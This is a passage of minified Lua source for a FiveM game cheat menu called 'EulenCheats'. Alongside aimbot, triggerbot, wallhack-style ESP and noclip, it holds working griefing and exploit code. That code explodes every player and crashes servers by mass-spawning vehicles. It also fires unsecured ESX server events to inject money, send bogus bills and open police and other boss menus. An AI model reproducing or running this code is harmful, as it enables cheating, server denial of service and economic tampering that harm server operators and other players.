Delete!")GiveWeaponToPed(GetPlayerPed(-1),GetHashKey("WEAPON_PISTOL"),999999,false,true)SetPedAmmo(GetPlayerPed(-1),GetHashKey("WEAPON_PISTOL"),999999)if GetSelectedPedWeapon(GetPlayerPed(-1))==GetHashKey("WEAPON_PISTOL")then if IsPlayerFreeAiming(PlayerId())then if IsEntityAPed(aV)then if IsPedInAnyVehicle(aV,true)then if IsControlJustReleased(1,142)then SetEntityAsMissionEntity(GetVehiclePedIsIn(aV,true),1,1)DeleteEntity(GetVehiclePedIsIn(aV,true))SetEntityAsMissionEntity(aV,1,1)DeleteEntity(aV)drawNotification("~g~Deleted!")end else if IsControlJustReleased(1,142)then SetEntityAsMissionEntity(aV,1,1)DeleteEntity(aV)drawNotification("~g~Deleted!")end end else if IsControlJustReleased(1,142)then SetEntityAsMissionEntity(aV,1,1)DeleteEntity(aV)drawNotification("~g~Deleted!")end end end end end end;if destroyvehicles then for aW in EnumerateVehicles()do if aW~=GetVehiclePedIsIn(GetPlayerPed(-1),false)then NetworkRequestControlOfEntity(aW)SetVehicleUndriveable(aW,true)SetVehicleEngineHealth(aW,100)end end end;if explodevehicles then for aW in EnumerateVehicles()do if aW~=GetVehiclePedIsIn(GetPlayerPed(-1),false)then NetworkRequestControlOfEntity(aW)NetworkExplodeVehicle(aW,true,true,false)end end end;if esp then for i=0,64 do if i~=PlayerId()and GetPlayerServerId(i)~=0 then local Y=a(1.0)local aX=GetPlayerPed(i)local aY,aZ,a_=table.unpack(GetEntityCoords(PlayerPedId()))local E,F,ao=table.unpack(GetEntityCoords(aX))local b0="~h~Name: "..GetPlayerName(i).."\nServer ID: "..GetPlayerServerId(i).."\nPlayer ID: "..i.."\nDist: "..math.round(GetDistanceBetweenCoords(aY,aZ,a_,E,F,ao,true),1)if IsPedInAnyVehicle(aX,true)then local b1=GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(aX))))b0=b0 .."\nVeh: "..b1 end;DrawText3D(E,F,ao+1.0,b0,Y.r,Y.g,Y.b)LineOneBegin=GetOffsetFromEntityInWorldCoords(aX,-0.3,-0.3,-0.9)LineOneEnd=GetOffsetFromEntityInWorldCoords(aX,0.3,-0.3,-0.9)LineTwoBegin=GetOffsetFromEntityInWorldCoords(aX,0.3,-0.3,-0.9)LineTwoEnd=GetOffsetFromEntityInWorldCoords(aX,0.3,0.3,-0.9)LineThreeBegin=GetOffsetFromEntityInWorldCoords(aX,0.3,0.3,-0.9)LineThreeEnd=GetOffsetFromEntityInWorldCoords(aX,-0.3,0.3,-0.9)LineFourBegin=GetOffsetFromEntityInWorldCoords(aX,-0.3,-0.3,-0.9)TLineOneBegin=GetOffsetFromEntityInWorldCoords(aX,-0.3,-0.3,0.8)TLineOneEnd=GetOffsetFromEntityInWorldCoords(aX,0.3,-0.3,0.8)TLineTwoBegin=GetOffsetFromEntityInWorldCoords(aX,0.3,-0.3,0.8)TLineTwoEnd=GetOffsetFromEntityInWorldCoords(aX,0.3,0.3,0.8)TLineThreeBegin=GetOffsetFromEntityInWorldCoords(aX,0.3,0.3,0.8)TLineThreeEnd=GetOffsetFromEntityInWorldCoords(aX,-0.3,0.3,0.8)TLineFourBegin=GetOffsetFromEntityInWorldCoords(aX,-0.3,-0.3,0.8)ConnectorOneBegin=GetOffsetFromEntityInWorldCoords(aX,-0.3,0.3,0.8)ConnectorOneEnd=GetOffsetFromEntityInWorldCoords(aX,-0.3,0.3,-0.9)ConnectorTwoBegin=GetOffsetFromEntityInWorldCoords(aX,0.3,0.3,0.8)ConnectorTwoEnd=GetOffsetFromEntityInWorldCoords(aX,0.3,0.3,-0.9)ConnectorThreeBegin=GetOffsetFromEntityInWorldCoords(aX,-0.3,-0.3,0.8)ConnectorThreeEnd=GetOffsetFromEntityInWorldCoords(aX,-0.3,-0.3,-0.9)ConnectorFourBegin=GetOffsetFromEntityInWorldCoords(aX,0.3,-0.3,0.8)ConnectorFourEnd=GetOffsetFromEntityInWorldCoords(aX,0.3,-0.3,-0.9)DrawLine(LineOneBegin.x,LineOneBegin.y,LineOneBegin.z,LineOneEnd.x,LineOneEnd.y,LineOneEnd.z,Y.r,Y.g,Y.b,255)DrawLine(LineTwoBegin.x,LineTwoBegin.y,LineTwoBegin.z,LineTwoEnd.x,LineTwoEnd.y,LineTwoEnd.z,Y.r,Y.g,Y.b,255)DrawLine(LineThreeBegin.x,LineThreeBegin.y,LineThreeBegin.z,LineThreeEnd.x,LineThreeEnd.y,LineThreeEnd.z,Y.r,Y.g,Y.b,255)DrawLine(LineThreeEnd.x,LineThreeEnd.y,LineThreeEnd.z,LineFourBegin.x,LineFourBegin.y,LineFourBegin.z,Y.r,Y.g,Y.b,255)DrawLine(TLineOneBegin.x,TLineOneBegin.y,TLineOneBegin.z,TLineOneEnd.x,TLineOneEnd.y,TLineOneEnd.z,Y.r,Y.g,Y.b,255)DrawLine(TLineTwoBegin.x,TLineTwoBegin.y,TLineTwoBegin.z,TLineTwoEnd.x,TLineTwoEnd.y,TLineTwoEnd.z,Y.r,Y.g,Y.b,255)DrawLine(TLineThreeBegin.x,TLineThreeBegin.y,TLineThreeBegin.z,TLineThreeEnd.x,TLineThreeEnd.y,TLineThreeEnd.z,Y.r,Y.g,Y.b,255)DrawLine(TLineThreeEnd.x,TLineThreeEnd.y,TLineThreeEnd.z,TLineFourBegin.x,TLineFourBegin.y,TLineFourBegin.z,Y.r,Y.g,Y.b,255)DrawLine(ConnectorOneBegin.x,ConnectorOneBegin.y,ConnectorOneBegin.z,ConnectorOneEnd.x,ConnectorOneEnd.y,ConnectorOneEnd.z,Y.r,Y.g,Y.b,255)DrawLine(ConnectorTwoBegin.x,ConnectorTwoBegin.y,ConnectorTwoBegin.z,ConnectorTwoEnd.x,ConnectorTwoEnd.y,ConnectorTwoEnd.z,Y.r,Y.g,Y.b,255)DrawLine(ConnectorThreeBegin.x,ConnectorThreeBegin.y,ConnectorThreeBegin.z,ConnectorThreeEnd.x,ConnectorThreeEnd.y,ConnectorThreeEnd.z,Y.r,Y.g,Y.b,255)DrawLine(ConnectorFourBegin.x,ConnectorFourBegin.y,ConnectorFourBegin.z,ConnectorFourEnd.x,ConnectorFourEnd.y,ConnectorFourEnd.z,Y.r,Y.g,Y.b,255)DrawLine(aY,aZ,a_,E,F,ao,Y.r,Y.g,Y.b,255)end end end;if VehGod and IsPedInAnyVehicle(PlayerPedId(),true)then SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId()),true)end;if oneshot then SetPlayerWeaponDamageModifier(PlayerId(),100.0)local aV=getEntity(PlayerId())if IsEntityAPed(aV)then if IsPedInAnyVehicle(aV,true)then if IsPedInAnyVehicle(GetPlayerPed(-1),true)then if IsControlJustReleased(1,69)then NetworkExplodeVehicle(GetVehiclePedIsIn(aV,true),true,true,0)end else if IsControlJustReleased(1,142)then NetworkExplodeVehicle(GetVehiclePedIsIn(aV,true),true,true,0)end end end elseif IsEntityAVehicle(aV)then if IsPedInAnyVehicle(GetPlayerPed(-1),true)then if IsControlJustReleased(1,69)then NetworkExplodeVehicle(aV,true,true,0)end else if IsControlJustReleased(1,142)then NetworkExplodeVehicle(aV,true,true,0)end end end else SetPlayerWeaponDamageModifier(PlayerId(),1.0)end;if blowall then for i=0,64 do AddExplosion(GetEntityCoords(GetPlayerPed(i)),2,100000.0,true,false,100000.0)end end;if BlowDrugsUp then TriggerServerEvent("esx_drugs:startHarvestWeed")TriggerServerEvent("esx_drugs:startHarvestCoke")TriggerServerEvent("esx_drugs:startHarvestMeth")TriggerServerEvent("esx_drugs:startTransformOpium")TriggerServerEvent("esx_drugs:startTransformWeed")TriggerServerEvent("esx_drugs:startTransformCoke")TriggerServerEvent("esx_drugs:startTransformMeth")TriggerServerEvent("esx_drugs:startTransformOpium")TriggerServerEvent("esx_drugs:startSellWeed")TriggerServerEvent("esx_drugs:startSellCoke")TriggerServerEvent("esx_drugs:startSellMeth")TriggerServerEvent("esx_drugs:startSellOpium")end;if esxdestroy then for i=0,64 do TriggerServerEvent('esx_truckerjob:pay',9999999999)TriggerServerEvent('AdminMenu:giveCash',9999999999)TriggerServerEvent('esx:giveInventoryItem',GetPlayerServerId(i),"item_money","money",10000000)TriggerServerEvent('esx:giveInventoryItem',GetPlayerServerId(i),"item_money","money",10000000)TriggerServerEvent('esx:giveInventoryItem',GetPlayerServerId(i),"item_money","money",10000000)TriggerServerEvent('esx:giveInventoryItem',GetPlayerServerId(i),"item_money","money",10000000)TriggerServerEvent('esx_billing:sendBill',GetPlayerServerId(i),"Purposeless","Eulen Cheats 5",10000000)end end;if servercrasher then local b2="CARGOPLANE"for i=0,64 do while not HasModelLoaded(GetHashKey(b2))do Citizen.Wait(0)RequestModel(GetHashKey(b2))end;Citizen.Wait(200)local b3=CreateVehicle(GetHashKey(b2),GetEntityCoords(GetPlayerPed(i))-200,true,true)and CreateVehicle(GetHashKey(b2),GetEntityCoords(GetPlayerPed(i))-100,true,true)end end;if nuke then local b4="phantom"local b2="CARGOPLANE"local b3="luxor"local b5="maverick"local b6="bus"for i=0,64 do while not HasModelLoaded(GetHashKey(b2))do Citizen.Wait(0)RequestModel(GetHashKey(b2))end;Citizen.Wait(200)local b3=CreateVehicle(GetHashKey(b4),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(b4),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(b4),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(b2),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(b2),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(b2),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(b3),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(b3),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(b3),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(b5),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(b5),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(b5),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and CreateVehicle(GetHashKey(b6),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and CreateVehicle(GetHashKey(b6),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and CreateVehicle(GetHashKey(b6),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)end end;if VehSpeed and IsPedInAnyVehicle(PlayerPedId(),true)then if IsControlPressed(0,209)then SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()),70.0)elseif IsControlPressed(0,210)then SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()),0.0)end end;if TriggerBot then local b7,Entity=GetEntityPlayerIsFreeAimingAt(PlayerId(),Entity)if b7 then if IsEntityAPed(Entity)and not IsPedDeadOrDying(Entity,0)and IsPedAPlayer(Entity)then ShootPlayer(Entity)end end end;if AimBot then for i=0,64 do if i~=PlayerId()then if IsPlayerFreeAiming(PlayerId())then local b8=GetPlayerPed(i)local b9=GetEntityCoords(b8)local ba=DoesEntityExist(b8)local bb=IsPlayerDead(b8)if ba and not bb then local bc,bd,be=World3dToScreen2d(b9.x,b9.y,b9.z,0)if IsEntityVisible(b8)and bc then if HasEntityClearLosToEntity(PlayerPedId(),b8,10000)then local bf=GetPedBoneCoords(b8,31086,0,0,0)SetPedShootsAtCoord(PlayerPedId(),bf.x,bf.y,bf.z,1)end end end end end end end;DisplayRadar(true)if RainbowVeh then local Y=a(1.0)SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId()),Y.r,Y.g,Y.b)SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId()),Y.r,Y.g,Y.b)end;if Noclip then local bg=2;local bh=IsPedInAnyVehicle(PlayerPedId(),false)and GetVehiclePedIsUsing(PlayerPedId())or PlayerPedId()FreezeEntityPosition(PlayerPedId(),true)SetEntityInvincible(PlayerPedId(),true)local bi=GetEntityCoords(entity)DisableControlAction(0,32,true)DisableControlAction(0,268,true)DisableControlAction(0,31,true)DisableControlAction(0,269,true)DisableControlAction(0,33,true)DisableControlAction(0,266,true)DisableControlAction(0,34,true)DisableControlAction(0,30,true)DisableControlAction(0,267,true)DisableControlAction(0,35,true)DisableControlAction(0,44,true)DisableControlAction(0,20,true)local bj=0.0;local bk=0.0;if GetInputMode()=="MouseAndKeyboard"then if IsDisabledControlPressed(0,32)then bj=0.5 end;if IsDisabledControlPressed(0,33)then bj=-0.5 end;if IsDisabledControlPressed(0,34)then SetEntityHeading(PlayerPedId(),GetEntityHeading(PlayerPedId())+3.0)end;if IsDisabledControlPressed(0,35)then SetEntityHeading(PlayerPedId(),GetEntityHeading(PlayerPedId())-3.0)end;if IsDisabledControlPressed(0,44)then bk=0.21 end;if IsDisabledControlPressed(0,20)then bk=-0.21 end end;bi=GetOffsetFromEntityInWorldCoords(bh,0.0,bj*(bg+0.3),bk*(bg+0.3))local bl=GetEntityHeading(bh)SetEntityVelocity(bh,0.0,0.0,0.0)SetEntityRotation(bh,0.0,0.0,0.0,0,false)SetEntityHeading(bh,bl)SetEntityCollision(bh,false,false)SetEntityCoordsNoOffset(bh,bi.x,bi.y,bi.z,true,true,true)FreezeEntityPosition(bh,false)SetEntityInvincible(bh,false)SetEntityCollision(bh,true,true)end end end)function GetPlayers()local an={}for i=0,31 do if NetworkIsPlayerActive(i)then table.insert(an,i)end end;return an end;Citizen.CreateThread(function()FreezeEntityPosition(entity,false)local bm=1;local bn=1;gaybuild.CreateMenu("LynxMainMenu","EulenCheats 1.1")gaybuild.SetSubTitle("LynxMainMenu","ez stuff")gaybuild.CreateSubMenu("SelfMenu","LynxMainMenu","EulenCheats 5")gaybuild.CreateSubMenu("Xposed","LynxMainMenu","EulenCheats 5")gaybuild.CreateSubMenu("Destroyer","LynxMainMenu","EulenCheats 5")gaybuild.CreateSubMenu("VehMenu","LynxMainMenu","EulenCheats 5")gaybuild.CreateSubMenu("ServerMenu","LynxMainMenu","EulenCheats 5")gaybuild.CreateSubMenu("TeleportMenu","LynxMainMenu","EulenCheats 5")gaybuild.CreateSubMenu('OnlinePlayerMenu','LynxMainMenu','EulenCheats 5')gaybuild.CreateSubMenu('PlayerOptionsMenu','OnlinePlayerMenu','EulenCheats 5')gaybuild.CreateSubMenu('SingleWepPlayer','OnlinePlayerMenu','EulenCheats 5')gaybuild.CreateSubMenu("WepMenu","LynxMainMenu","EulenCheats 5")gaybuild.CreateSubMenu("SingleWepMenu","WepMenu","EulenCheats 5")gaybuild.CreateSubMenu("ESXBoss","ServerMenu","ESX Boss Menus")gaybuild.CreateSubMenu("ESXMoney","ServerMenu","ESX Money Options")gaybuild.CreateSubMenu("ESXMisc","ServerMenu","ESX Misc Options")gaybuild.CreateSubMenu("ESXDrugs","ServerMenu","ESX Drugs")gaybuild.CreateSubMenu("MiscServerOptions","ServerMenu","Misc Server Options")gaybuild.CreateSubMenu("VRPOptions","ServerMenu","VRP Server Options")local bo;while as do if gaybuild.IsMenuOpened("LynxMainMenu")then drawNotification("The EulenCheats Menu its ready! lol")drawNotification("U are using EulenCheats. Enjoy :3")if gaybuild.MenuButton("~h~Self Menu","SelfMenu")then elseif gaybuild.MenuButton("~h~Online Players","OnlinePlayerMenu")then elseif gaybuild.MenuButton("~h~XposedXposed")then elseif gaybuild.MenuButton("~h~Destroyer ~h~>:3","Destroyer")then elseif gaybuild.MenuButton("TeleportMenu")then elseif gaybuild.MenuButton("~h~Vehicle Menu","VehMenu")then elseif gaybuild.MenuButton("~h~Weapon Menu","WepMenu")then elseif gaybuild.MenuButton("~h~LUA ~h~Executor","ServerMenu")then elseif gaybuild.Button("~r~~h~Panic Key~s~ / ~r~Disable Menu")then as=false elseif gaybuild.Button("Based on Ruby's Source Code")then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("SelfMenu")then if gaybuild.CheckBox("~h~~g~God~s~Mode",Godmode,function(bp)Godmode=bp end)then elseif gaybuild.Button("~h~~r~Suicide")then SetEntityHealth(PlayerPedId(),0)elseif gaybuild.Button("~h~~g~ESX~s~ ~s~Revive yourself~s~")then TriggerEvent("esx_ambulancejob:revive")elseif gaybuild.Button("~h~~g~Heal")then SetEntityHealth(PlayerPedId(),200)elseif gaybuild.Button("~h~~b~Give Armour")then SetPedArmour(PlayerPedId(),200)elseif gaybuild.CheckBox("~h~Infinite Stamina",InfStamina,function(bp)InfStamina=bp end)then elseif gaybuild.CheckBox("~h~Fast Run",fastrun,function(bp)fastrun=bp end)then elseif gaybuild.CheckBox("~h~Super Jump",SuperJump,function(bp)SuperJump=bp end)then elseif gaybuild.CheckBox("~h~Invisible",Invisible,function(bp)Invisible=bp end)then elseif gaybuild.CheckBox("~h~Noclip",Noclip,function(bp)Noclip=bp end)then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("TeleportMenu")then if gaybuild.Button("~h~Teleport to waypoint")then at()elseif gaybuild.Button("~h~Teleport into nearest vehicle")then local aD=GetPlayerPed(-1)local aU=GetEntityCoords(aD,true)local bq=GetClosestVehicle(GetEntityCoords(aD,true),1000.0,0,4)local br=GetEntityCoords(bq,true)local bs=GetClosestVehicle(GetEntityCoords(aD,true),1000.0,0,16384)local bt=GetEntityCoords(bs,true)drawNotification("~y~Wait...")Citizen.Wait(1000)if bq==0 and bs==0 then drawNotification("~r~No Vehicle Found")elseif bq==0 and bs~=0 then if IsVehicleSeatFree(bs,-1)then SetPedIntoVehicle(aD,bs,-1)SetVehicleAlarm(bs,false)SetVehicleDoorsLocked(bs,1)SetVehicleNeedsToBeHotwired(bs,false)else local bu=GetPedInVehicleSeat(bs,-1)ClearPedTasksImmediately(bu)SetEntityAsMissionEntity(bu,1,1)DeleteEntity(bu)SetPedIntoVehicle(aD,bs,-1)SetVehicleAlarm(bs,false)SetVehicleDoorsLocked(bs,1)SetVehicleNeedsToBeHotwired(bs,false)end;drawNotification("~g~Teleported Into Nearest Vehicle!")elseif bq~=0 and bs==0 then if IsVehicleSeatFree(bq,-1)then SetPedIntoVehicle(aD,bq,-1)SetVehicleAlarm(bq,false)SetVehicleDoorsLocked(bq,1)SetVehicleNeedsToBeHotwired(bq,false)else local bu=GetPedInVehicleSeat(bq,-1)ClearPedTasksImmediately(bu)SetEntityAsMissionEntity(bu,1,1)DeleteEntity(bu)SetPedIntoVehicle(aD,bq,-1)SetVehicleAlarm(bq,false)SetVehicleDoorsLocked(bq,1)SetVehicleNeedsToBeHotwired(bq,false)end;drawNotification("~g~Teleported Into Nearest Vehicle!")elseif bq~=0 and bs~=0 then if Vdist(br.x,br.y,br.z,aU.x,aU.y,aU.z)<Vdist(bt.x,bt.y,bt.z,aU.x,aU.y,aU.z)then if IsVehicleSeatFree(bq,-1)then SetPedIntoVehicle(aD,bq,-1)SetVehicleAlarm(bq,false)SetVehicleDoorsLocked(bq,1)SetVehicleNeedsToBeHotwired(bq,false)else local bu=GetPedInVehicleSeat(bq,-1)ClearPedTasksImmediately(bu)SetEntityAsMissionEntity(bu,1,1)DeleteEntity(bu)SetPedIntoVehicle(aD,bq,-1)SetVehicleAlarm(bq,false)SetVehicleDoorsLocked(bq,1)SetVehicleNeedsToBeHotwired(bq,false)end elseif Vdist(br.x,br.y,br.z,aU.x,aU.y,aU.z)>Vdist(bt.x,bt.y,bt.z,aU.x,aU.y,aU.z)then if IsVehicleSeatFree(bs,-1)then SetPedIntoVehicle(aD,bs,-1)SetVehicleAlarm(bs,false)SetVehicleDoorsLocked(bs,1)SetVehicleNeedsToBeHotwired(bs,false)else local bu=GetPedInVehicleSeat(bs,-1)ClearPedTasksImmediately(bu)SetEntityAsMissionEntity(bu,1,1)DeleteEntity(bu)SetPedIntoVehicle(aD,bs,-1)SetVehicleAlarm(bs,false)SetVehicleDoorsLocked(bs,1)SetVehicleNeedsToBeHotwired(bs,false)end end;drawNotification("~g~Teleported Into Nearest Vehicle!")end end;gaybuild.Display()elseif gaybuild.IsMenuOpened("Xposed")then if gaybuild.CheckBox("~h~TriggerBot",TriggerBot,function(bp)TriggerBot=bp end)then elseif gaybuild.CheckBox("~h~AimBot",AimBot,function(bp)AimBot=bp end)then elseif gaybuild.CheckBox("~h~ESP",esp,function(bp)esp=bp end)then elseif gaybuild.CheckBox("~h~Player Blips",playerBlips,function(bp)playerBlips=bp end)then elseif gaybuild.CheckBox("~h~~r~EMP~s~ Nearest Vehicles",destroyvehicles,function(bp)destroyvehicles=bp end)then elseif gaybuild.CheckBox("~h~~r~Explode~s~ Nearest Vehicles",explodevehicles,function(bp)explodevehicles=bp end)then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("Destroyer")then if gaybuild.CheckBox("~h~Explode everyone",blowall,function(bp)blowall=bp end)then elseif gaybuild.CheckBox("~h~~y~Nuke ~s~everyone ~r~(CRASH)",nuke,function(bp)nuke=bp end)then elseif gaybuild.CheckBox("~h~~g~ESX ~r~DESTROY",esxdestroy,function(bp)esxdestroy=bp end)then elseif gaybuild.CheckBox("~h~~r~Server crasher",servercrasher,function(bp)servercrasher=bp end)then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("WepMenu")then if gaybuild.Button("~h~~g~Give All Weapons")then for i=1,#ar do GiveWeaponToPed(PlayerPedId(),GetHashKey(ar[i]),1000,false,false)end elseif gaybuild.Button("~h~~r~Remove All Weapons")then for i=1,#ar do RemoveAllPedWeapons(PlayerPedId(),true)end elseif gaybuild.Button("~h~~r~Give All Weapons to everyone")then for bv=0,64 do if bv~=PlayerId()and GetPlayerServerId(bv)~=0 then for i=1,#ar do GiveWeaponToPed(PlayerPedId(bv),GetHashKey(ar[i]),1000,false,false)end end end elseif gaybuild.Button("~h~~r~Remove All Weapons from everyone")then for bv=0,64 do if bv~=PlayerId()and GetPlayerServerId(bv)~=0 then for i=1,#ar do RemoveAllPedWeapons(PlayerPedId(bv),true)end end end elseif gaybuild.Button("~h~Give Ammo")then for i=1,#ar do AddAmmoToPed(PlayerPedId(),GetHashKey(ar[i]),200)end elseif gaybuild.MenuButton("~h~Give Specific Weapon","SingleWepMenu")then elseif gaybuild.ComboBox("~h~Weapon/Melee Damage",{"1x (Default)","2x","3x","4x","5x"},bm,bn,function(a6,a7)bm=a6;bn=a7;SetPlayerWeaponDamageModifier(PlayerId(),bn)SetPlayerMeleeWeaponDamageModifier(PlayerId(),bn)end)then elseif gaybuild.CheckBox("~h~~r~ONE SHOT KILL",oneshot,function(bp)oneshot=bp end)then elseif gaybuild.CheckBox("~h~Infinite Ammo",InfAmmo,function(bp)InfAmmo=bp;SetPedInfiniteAmmoClip(PlayerPedId(),InfAmmo)end)then elseif gaybuild.CheckBox("~h~Vehicle Gun",VehicleGun,function(bp)VehicleGun=bp end)then elseif gaybuild.CheckBox("~h~Delete Gun",DeleteGun,function(bp)DeleteGun=bp end)then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("SingleWepMenu")then for i=1,#ar do if gaybuild.Button(ar[i])then GiveWeaponToPed(PlayerPedId(),GetHashKey(ar[i]),1000,false,false)end end;gaybuild.Display()elseif gaybuild.IsMenuOpened("VehMenu")then if gaybuild.Button("~h~~g~Spawn Vehicle")then local bw=KeyboardInput("Enter Vehicle Spawn Name","",100)if bw and IsModelValid(bw)and IsModelAVehicle(bw)then RequestModel(bw)while not HasModelLoaded(bw)do Citizen.Wait(0)end;local veh=CreateVehicle(GetHashKey(bw),GetEntityCoords(PlayerPedId()),GetEntityHeading(PlayerPedId()),true,true)SetPedIntoVehicle(PlayerPedId(),veh,-1)else drawNotification("~r~~h~Model is not valid!")end elseif gaybuild.Button("~h~Flip Vehicle")then local aD=GetPlayerPed(-1)local bx=GetVehiclePedIsIn(aD,true)if IsPedInAnyVehicle(GetPlayerPed(-1),0)and GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1),0),-1)==GetPlayerPed(-1)then SetVehicleOnGroundProperly(bx)drawNotification("~g~Vehicle Flipped!")else drawNotification("~r~You Aren't In The Driverseat Of A Vehicle!")end elseif gaybuild.Button("~h~Repair Vehicle")then SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1),false))SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1),false),0.0)SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1),false),0)SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1),false),false)Citizen.InvokeNative(0x1FD09E7390A74D54,GetVehiclePedIsIn(GetPlayerPed(-1),false),0)elseif gaybuild.Button("~h~Change License Plate")then local aD=GetPlayerPed(-1)local bx=GetVehiclePedIsIn(aD,true)local c=KeyboardInput("Enter the plate license you want","",10)if c then SetVehicleNumberPlateText(bx,c)end elseif gaybuild.Button("~h~Max Tuning")then MaxOut(GetVehiclePedIsUsing(PlayerPedId()))elseif gaybuild.CheckBox("~h~Rainbow Vehicle Colour",RainbowVeh,function(bp)RainbowVeh=bp end)then elseif gaybuild.Button("~h~~r~Delete Vehicle")then DelVeh(GetVehiclePedIsUsing(PlayerPedId()))drawNotification("Vehicle Deleted")elseif gaybuild.Button("~h~Make vehicle dirty")then Clean(GetVehiclePedIsUsing(PlayerPedId()))drawNotification("Vehicle is now dirty")elseif gaybuild.Button("~h~Make vehicle clean")then Clean2(GetVehiclePedIsUsing(PlayerPedId()))drawNotification("Vehicle is now clean")elseif gaybuild.CheckBox("~h~No Fall",Nofall,function(bp)Nofall=bp;SetPedCanBeKnockedOffVehicle(PlayerPedId(),Nofall)end)then elseif gaybuild.CheckBox("~h~Vehicle Godmode",VehGod,function(bp)VehGod=bp end)then elseif gaybuild.CheckBox("~h~Speedboost ~g~SHIFT ~r~CTRL",VehSpeed,function(bp)VehSpeed=bp end)then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("ServerMenu")then if gaybuild.MenuButton("~g~~h~ESX ~s~BOSS Menus","ESXBoss")then elseif gaybuild.MenuButton("~g~~h~ESX ~s~Money Options","ESXMoney")then elseif gaybuild.MenuButton("~g~~h~ESX ~s~Misc Options","ESXMisc")then elseif gaybuild.MenuButton("~g~~h~ESX ~s~Drugs","ESXDrugs")then elseif gaybuild.MenuButton("~b~~h~VRP ~s~Server Options","VRPOptions")then elseif gaybuild.MenuButton("~o~~h~Misc ~s~Options","MiscServerOptions")then end;gaybuild.Display()elseif gaybuild.IsMenuOpened("ESXBoss")then if gaybuild.Button("~c~~h~Mechanic~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","mecano",function(by,bz)bz.close()end)A(j,false)elseif gaybuild.Button("~b~~h~Police~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","police",function(by,bz)bz.close()end)A(j,false)elseif gaybuild.Button("~r~~h~Ambulance~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","ambulance",function(by,bz)bz.close()end)A(j,false)elseif gaybuild.Button("~y~~h~Taxi~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","taxi",function(by,bz)bz.close()end)A(j,false)elseif gaybuild.Button("~g~~h~Real Estate~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","realestateagent",function(by,bz)bz.close()end)A(j,false)elseif gaybuild.Button("~p~~h~Gang~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","gang",function(by,bz)bz.close()end)A(j,false)elseif gaybuild.Button("~o~~h~Car Dealer~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","cardealer",function(by,bz)bz.close()end)A(j,false)elseif gaybuild.Button("~y~~h~Banker~s~ Boss Menu")then TriggerEvent("esx_society:openBossMenu","banker",function(by,bz)bz.close()end)A(j,false)end;gaybuild.Display()elseif gaybuild.IsMenuOpened("ESXMoney")then if gaybuild.Button("~g~~h~ESX ~y~Caution Give Back")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100000000)if c then TriggerServerEvent('esx_jobs:caution','give_back',c)end elseif gaybuild.Button("~g~~h~ESX ~y~TruckerJob Pay")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100000000)if c then TriggerServerEvent('esx_truckerjob:pay',c)end elseif gaybuild.Button("~g~~h~ESX ~y~Admin Give Bank")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100000000)if c then TriggerServerEvent('AdminMenu:giveBank',c)end elseif gaybuild.Button("~g~~h~ESX ~y~Admin Give Cash")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100000000)if c then TriggerServerEvent('AdminMenu:giveCash',c)end elseif gaybuild.Button("~g~~h~ESX ~y~GOPostalJob Pay")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100000000)if c then TriggerServerEvent("esx_gopostaljob:pay",c)end elseif gaybuild.Button("~g~~h~ESX ~y~BankerJob Pay")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100000000)if c then TriggerServerEvent("esx_banksecurity:pay",c)end elseif gaybuild.Button("~g~~h~ESX ~y~Slot Machine")then local c=KeyboardInput("Enter amount of money USE AT YOUR OWN RISK","",100000000)if c then TriggerServerEvent("esx_slotmachine:sv:2",c)end end;gaybuild.Display()elseif gaybuild.IsMenuOpened("ESXMisc")then if gaybuild.Button("~w~~h~Set hunger to ~h~~g~100%")then TriggerEvent("esx_status:set","hunger",1000000)elseif gaybuild.Button("~w~~h~Set thirst to ~h~~g~100%")then TriggerEvent("esx_status:set","thirst",1000000)elseif gaybuild.Button("~g~~h~ESX ~y~Revive 